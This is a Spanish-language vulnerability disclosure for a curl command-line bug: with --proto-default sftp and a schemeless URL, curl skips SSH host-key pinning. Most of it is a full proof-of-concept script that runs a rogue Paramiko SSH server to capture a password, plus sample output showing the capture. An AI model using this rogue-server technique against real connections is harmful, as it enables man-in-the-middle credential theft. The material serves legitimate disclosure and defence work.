Resumen
curl permite fijar la identidad de un servidor SSH con --hostpubsha256, --hostpubmd5 o --knownhosts, de modo que la conexión se corta si la clave del host no coincide. El fallo (CVE-2026-12064, debilidad Improper Certificate Validation) aparece al combinar esas opciones con --proto-default sftp (o scp) y una URL sin esquema, como host:2222/path.
El problema está en la herramienta de línea de órdenes, no en la biblioteca. En src/config2setopts.c, la función url_proto_and_rewrite() usa CURLU_GUESS_SCHEME para decidir el protocolo, y ante una URL sin esquema supone que es HTTP. Con esa suposición, la parte que configura las opciones SSH se salta por completo:
// src/config2setopts.c:190
if(use_proto != proto_scp && use_proto != proto_sftp)
return CURLE_OK; // skips setting CURLOPT_SSH_HOST_PUBLIC_KEY_SHA256, CURLOPT_SSH_KNOWNHOSTS, etc.
Sin embargo, CURLOPT_DEFAULT_PROTOCOL se aplica más tarde (hacia la línea 1053), y libcurl, en lib/url.c:1662, antepone sftp:// a la URL al ejecutar la transferencia. El resultado: la conexión se hace por SFTP/SCP, pero sin CURLOPT_SSH_HOST_PUBLIC_KEY_SHA256 ni CURLOPT_SSH_KNOWNHOSTS configurados. curl no avisa de nada: simplemente no comprueba la clave.
Según el investigador, el fallo se introdujo en el commit f97d372703 (15 de mayo de 2025, "tool_operate: move config2setopts to separate file"), llegó por primera vez en curl 8.14.0 y seguía presente en la rama principal (8.21.0-DEV) cuando se reportó.
Cronología: reportado el 12 de junio de 2026 y divulgado el 24 de junio de 2026. HackerOne lo clasifica con severidad baja.
Pasos de reproducción
La prueba de concepto levanta un servidor SSH falso con Paramiko que anota cualquier usuario y contraseña que reciba, y lanza curl dos veces contra él con un pin de clave deliberadamente incorrecto (--hostpubsha256):
- Con la URL explícita
sftp://127.0.0.1:PUERTO/tmp/file: curl debe rechazar la conexión sin enviar la contraseña. - Con
--proto-default sftpy la URL sin esquema127.0.0.1:PUERTO/tmp/file: aquí aparece el fallo.
Requisitos: pip install paramiko, un curl compilado con soporte SFTP (libssh2) en ./build-ssh/src/curl, y ejecutar el script desde la raíz del código fuente de curl (~/curl/curl).
Script completo usado por el investigador:
#!/usr/bin/env bash
# Run from the curl source root: ~/curl/curl
# The local build at ./build-ssh/src/curl must have SFTP support (libssh2).
set -e
CURL_BIN="./build-ssh/src/curl"
export LD_LIBRARY_PATH="/tmp/libssh2-install/lib${LD_LIBRARY_PATH:+:$LD_LIBRARY_PATH}"
echo "[*] Using: $CURL_BIN"
"$CURL_BIN" --version | head -2
if ! "$CURL_BIN" --version | grep -q sftp; then
echo "FATAL: $CURL_BIN does not have SFTP support."; exit 1
fi
echo ""
python3 - "$CURL_BIN" <<'PYEOF'
import os, sys, socket, threading, time, subprocess
CURL_BIN = sys.argv[1]
import paramiko
host_key = paramiko.RSAKey.generate(2048)
host_fp_sha256 = "SHA256:" + __import__("base64").b64encode(
__import__("hashlib").sha256(host_key.asbytes()).digest()
).decode().rstrip("=")
WRONG_PIN = "SHA256:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
captured_creds = []
class RogueServer(paramiko.ServerInterface):
def check_auth_password(self, username, password):
captured_creds.append(f"{username}:{password}")
return paramiko.AUTH_FAILED
def check_channel_request(self, kind, chanid):
return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
def get_allowed_auths(self, username):
return "password"
def run_ssh_server(sock):
conn, addr = sock.accept()
transport = paramiko.Transport(conn)
transport.add_server_key(host_key)
try:
transport.start_server(server=RogueServer())
time.sleep(3)
except Exception:
pass
finally:
transport.close()
conn.close()
def run_curl(args):
env = os.environ.copy()
return subprocess.run(
[CURL_BIN, "-q", "--silent", "--show-error", "--max-time", "5",
"--user", "victim:Secret123"] + args,
text=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, timeout=10, env=env)
srv_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv_sock.bind(("127.0.0.1", 0))
srv_sock.listen(1)
PORT = srv_sock.getsockname()[1]
print(f"Rogue SSH server on 127.0.0.1:{PORT}")
print(f"Real fingerprint: {host_fp_sha256}")
print(f"Wrong pin: {WRONG_PIN}\n")
# Test 1: explicit sftp:// with wrong pin — should REJECT and NOT send password
captured_creds.clear()
t = threading.Thread(target=run_ssh_server, args=(srv_sock,), daemon=True)
t.start()
p1 = run_curl(["--hostpubsha256", WRONG_PIN, f"sftp://127.0.0.1:{PORT}/tmp/file"])
t.join(timeout=5)
print(f"[explicit sftp://] exit={p1.returncode}")
print(f" stderr: {p1.stderr.strip()[:200]}")
print(f" creds captured: {captured_creds or '<none>'}")
# Test 2: --proto-default sftp + schemeless URL — BUG: skips pin, sends password
captured_creds.clear()
t = threading.Thread(target=run_ssh_server, args=(srv_sock,), daemon=True)
t.start()
p2 = run_curl(["--proto-default", "sftp", "--hostpubsha256", WRONG_PIN,
f"127.0.0.1:{PORT}/tmp/file"])
t.join(timeout=5)
print(f"\n[--proto-default sftp] exit={p2.returncode}")
print(f" stderr: {p2.stderr.strip()[:200]}")
print(f" creds captured: {captured_creds or '<none>'}")
srv_sock.close()
print("\n--- RESULT ---")
if p1.returncode == 60 and captured_creds == ['victim:Secret123']:
print("VULNERABLE: --proto-default sftp bypassed host key pin")
print(f" Password sent to rogue server: {captured_creds}")
elif p1.returncode == 60 and not captured_creds:
print("NOT VULNERABLE: both paths correctly rejected the wrong pin.")
else:
print(f"UNEXPECTED: test1_exit={p1.returncode}, test2_creds={captured_creds}")
PYEOF
Resultado obtenido por el investigador con curl 8.21.0-DEV (libcurl/8.21.0-DEV OpenSSL/3.0.13 libssh2/1.11.2_DEV). Con sftp:// explícito, curl corta con el error 60 y el servidor no recibe nada; con --proto-default sftp, curl llega a autenticarse (error 67) y el servidor falso se queda con usuario y contraseña:
[*] Built curl:
curl 8.21.0-DEV (Linux) libcurl/8.21.0-DEV OpenSSL/3.0.13 libssh2/1.11.2_DEV
Protocols: ... scp sftp ...
Rogue SSH server on 127.0.0.1:46363
Real fingerprint: SHA256:sBclp/HMFOJgNTOMMo5kDDg4bXCXVGcjStynZwsyiy4
Wrong pin: SHA256:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[explicit sftp://] exit=60
stderr: curl: (60) Denied establishing ssh session: mismatch SHA256 fingerprint. Remote sBclp/HMFOJgNTOMMo5kDDg4bXCXVGcjStynZwsyiy4= is not equal to SHA256:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
creds captured: <none>
[--proto-default sftp] exit=67
stderr: curl: (67) Authentication failure
creds captured: ['victim:Secret123']
--- RESULT ---
VULNERABLE: --proto-default sftp bypassed host key pin
Password sent to rogue server: ['victim:Secret123']
Las credenciales victim:Secret123 son ficticias, creadas por el propio script de prueba.
Impacto
Quien usa --hostpubsha256 o --knownhosts lo hace precisamente para protegerse de un servidor suplantado. Con esta combinación de opciones, esa protección desaparecía sin ningún aviso.
Un atacante en posición de intermediario (MITM) en la red podía interceptar la conexión SSH y presentar su propia clave de host. Como curl no la comprobaba, la víctima completaba la autenticación contra el servidor del atacante y le entregaba la contraseña, o se iniciaba una autenticación por clave contra un host controlado por él. En palabras del investigador, la credencial cruza la frontera de confianza hacia un extremo no verificado, justo lo que el usuario había pedido evitar.
El ataque requiere que la víctima use --proto-default sftp (o scp) con una URL sin esquema y que pase las credenciales explícitamente en la línea de órdenes.
Remediación
El reporte no detalla el parche aplicado ni la versión que lo corrige. El comportamiento esperado, según el investigador, es que --hostpubsha256, --hostpubmd5 y --knownhosts se apliquen igual tanto si el esquema SFTP/SCP viene en la URL como si llega por --proto-default, y que una clave que no coincida aborte la conexión antes de cualquier intento de autenticación.